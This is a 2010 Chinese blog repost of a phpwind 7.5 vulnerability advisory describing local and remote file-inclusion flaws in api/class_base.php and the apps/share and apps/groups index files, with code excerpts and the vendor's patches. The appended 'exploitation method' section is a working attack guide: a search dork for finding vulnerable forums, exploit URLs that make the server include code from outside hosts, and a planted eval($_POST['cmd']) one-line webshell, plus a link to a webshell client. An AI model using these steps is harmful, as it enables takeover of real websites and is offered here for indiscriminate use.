• phpwind 7.5最新0Day漏洞利用

    post by Holmesian / 2010-1-10 19:31 Sunday

    来源:孙哥's Blog

     

    最近的0day Bug还真是多啊!最近主流的PHP Web系统都在爆0day漏洞!哎!~天朝太危险啦!

     

    From:http://www.80vul.com/pwvul/phpwind.txt 转载请注明!

    phpwind 7.5 Multiple Include Vulnerabilities

    author: 80vul
    team:http://www.80vul.com

    一.api/class_base.php本地包含漏洞

    1.描叙

    api/class_base.php文件里callback函数里$mode变量没有过滤导致任意包含本地文件,从而可以执行任意PHP命令.

    2. 具体分析

    api/class_base.php文件里:

    function callback($mode, $method, $params) {
    if (!isset($this->classdb[$mode])) {
    if (!file_exists(R_P.'api/class_' . $mode . '.php')) {
    return new ErrorMsg(API_MODE_NOT_EXISTS, "Class($mode) Not Exists");
    }
    require_once(R_P.'api/class_' . $mode . '.php'); //这里
    $this->classdb[$mode] = new $mode($this);
    }
    if (!method_exists($this->classdb[$mode], $method)) {
    return new ErrorMsg(API_METHOD_NOT_EXISTS, "Method($method of $mode) Not Exists");
    }
    !is_array($params) && $params = array();
    return @call_user_func_array(array(&$this->classdb[$mode], $method), $params);
    }

    我们继续跟一下具体变量传递的过程. 上面的函数在run()里有调用:

    function run($request) {
    $request = $this->strips($request);
    if (isset($request['type']) && $request['type'] == 'uc') {
    $this->type = 'uc';
    $this->apikey = $GLOBALS['uc_key'];//注意这个变量也是该漏洞的关键
    } else {
    $this->type = 'app';
    $this->apikey = $GLOBALS['db_siteownerid'];
    $this->siteappkey = $GLOBALS['db_siteappkey'];
    }
    /***
    if ($this->type == 'app' && !$GLOBALS['o_appifopen']) {
    return new ErrorMsg(API_CLOSED, 'App Closed');
    }
    ***/
    ksort($request);
    reset($request);
    $arg = '';
    foreach ($request as $key => $value) {
    if ($value && $key != 'sig') {
    $arg .= "$key=$value&";
    }
    }
    if (md5($arg . $this->apikey) != $request['sig']) { //注意这个判断,需要绕过它.上面的代码可以看的出来$this->apikey = $GLOBALS['uc_key'],和$request['sig']我们
    //都可以控制,那么很容易绕过它
    return new ErrorMsg(API_SIGN_ERROR, 'Error Sign');
    }
    $mode = $request['mode']; //取$mode 没有过滤直接进入下面的callback()
    $method = $request['method'];
    $params = isset($request['params']) ? unserialize($request['params']) : array();
    if (isset($params['appthreads'])) {
    if (PHP_VERSION < 5.2) {
    require_once(R_P.'api/class_json.php');
    $json = new Services_JSON(true);
    $params['appthreads'] = $json->decode(@gzuncompress($params['appthreads']));
    } else {
    $params['appthreads'] = json_decode(@gzuncompress($params['appthreads']),true);
    }
    }
    if ($params && isset($request['charset'])) {
    $params = pwConvert($params, $this->charset, $request['charset']);
    }
    return $this->callback($mode, $method, $params); //调用callback ()
    }

    我们继续看看run()函数的调用:

    在pw_api.php文件里:

    $api = new api_client();
    $response = $api->run($_POST + $_GET);//直接run了$_POST , $_GET提交的变量.

    上面的分析是逆行分析了整个漏洞变量提交的过程,其实我们这个漏洞还包含一次编码与解码的问:require_once(R_P.'api/class_' . $mode . '.php');这个需要绕过魔术引号才可以
    包含容易文件.我们注意看run()的第一句

    $request = $this->strips($request);

    strips()的代码:

    function strips($param) {
    if (is_array($param)) {
    foreach ($param as $key => $value) {
    $param[$key] = $this->strips($value);
    }
    } else {
    $param = stripslashes($param); //变量直接使用了stripslashes,那么我们可以直接绕过魔术引号了 :)
    }
    return $param;
    }

    3.POC/EXP



    4.FIX

    由于漏洞信息的外泄,官方针对这个漏洞已经做出了修补:

    http://www.phpwind.net/read-htm-tid-914851.html

    具体代码:

    require_once Pcv(R_P.'api/class_' . $mode . '.php');

    function Pcv($filename,$ifcheck=1){
    $tmpname = strtolower($filename);
    $tmparray = array(' http://',""); //过滤了http:// 意思是不让远程 不让截断
    $ifcheck && $tmparray[] = '..'; //过滤了.. 意思是不让转跳目录
    if (str_replace($tmparray,'',$tmpname)!=$tmpname) {
    exit('Forbidden');
    }
    return $filename;
    }

    从Pcv()可以看出来phpwind的补丁风格是很猥琐的,单从这个pcv来看 还有很多的逻辑问题,比如http://这个过滤很搞笑,人家就不可以用ftp://? ...


    二.apps/share/index.php远程包含漏洞

    1.描叙

    apps/share/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

    2.具体分析

    <?php
    if ($route == "share") {
    require_once $basePath . '/action/m_share.php';
    } elseif ($route == "sharelink") {
    require_once $basePath . '/action/m_sharelink.php';
    }
    ?>

    这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖...

    3.POC/EXP



    4.FIX

    已经在这个补丁的同时'修补'了
    http://www.phpwind.net/read-htm-tid-914851.html

    <?php
    !function_exists('readover') && exit('Forbidden');
    if ($route == "share") {
    require_once $basePath . '/action/m_share.php';
    } elseif ($route == "sharelink") {
    require_once $basePath . '/action/m_sharelink.php';
    }
    ?>

    三.apps/groups/index.php远程包含漏洞

    1.描叙

    apps/groups/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

    2.具体分析

    <?php
    if ($route == "groups") {
    require_once $basePath . '/action/m_groups.php';
    } elseif ($route == "group") {
    require_once $basePath . '/action/m_group.php';
    } elseif ($route == "galbum") {
    require_once $basePath . '/action/m_galbum.php';
    }


    这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖...

    3.POC/EXP



    4.FIX

    已经在这个补丁的同时'修补'了
    http://www.phpwind.net/read-htm-tid-914851.html

    <?php
    !function_exists('readover') && exit('Forbidden');
    if ($route == "groups") {
    require_once $basePath . '/action/m_groups.php';
    } elseif ($route == "group") {
    require_once $basePath . '/action/m_group.php';
    } elseif ($route == "galbum") {
    require_once $basePath . '/action/m_galbum.php';
    }
    ?>

    解决方案:

    参见 http://www.phpwind.net/read.php?tid-914881.html

     

     

    利用方法

     

    这是PHPWIND程序有漏洞的源代码。
    在代码里$route变量没有初始化,导致可以在外面给它赋值,当他的值为groups,他就会包含
    $basePath . '/action/m_groups.php';这个文件,而这个文件的前半部分$basePath也是个变量,同时在程序里没有给它初始化。所以,再次给它赋值,我给它赋值为http://1ii1.com.cn、所以他就包含了我http://1ii1.com.cn/action/m_groups.php这个页面的代码,我只需要在我的页面里写入复制文件的代码即可写入一句话木马

    关键字"PHPWIND 7.5" inurl:com/bbs
    论坛根目录添加:

    apps/groups/index.php?route=groups&basePath=http://1ii1.com.cn

    如:http://1ii1.com.cn/apps/groups/index.php?route=groups&basePath=http://1ii1.com.cn


    然后成功的话会产生一句话木马  <?php eval($_POST['cmd'])?>  在:     论坛根目录/data/tplcache/1ii1.php

    一句话木马客户端:http://1ii1.com.cn/yjh.php


    第二版!

     和Jack.jun看完漏洞分析后研究出来利用方法

    浏览器访问
     http://qkxzlt.com/apps/groups/index.php?route=groups&basePath=http://wjs001.3.xjp.77169.net/x.txt?

    访问后就可以包含文件并获得webshell(问好要带上,不然会失败)
    要测试其他站是否存在漏洞,
    加上apps/groups/index.php?route=groups&basePath= http://wjs001.3.xjp.77169.net/x.txt?
    访问,获得shell说明漏洞存在并利用成功,不能获得shell说明漏洞打

     

    标签: 漏洞 phpwind

    说两句:

    zoooro
    2010-01-11 13:17
    我不是技术人,这个东西肯定是没有啦~呵呵    这玩意要加上万呢  现在
    zoooro
    2010-01-11 09:40
    我那里也发了一片phpwind 漏洞的文呵呵 你 那有exp不?

    发表评论: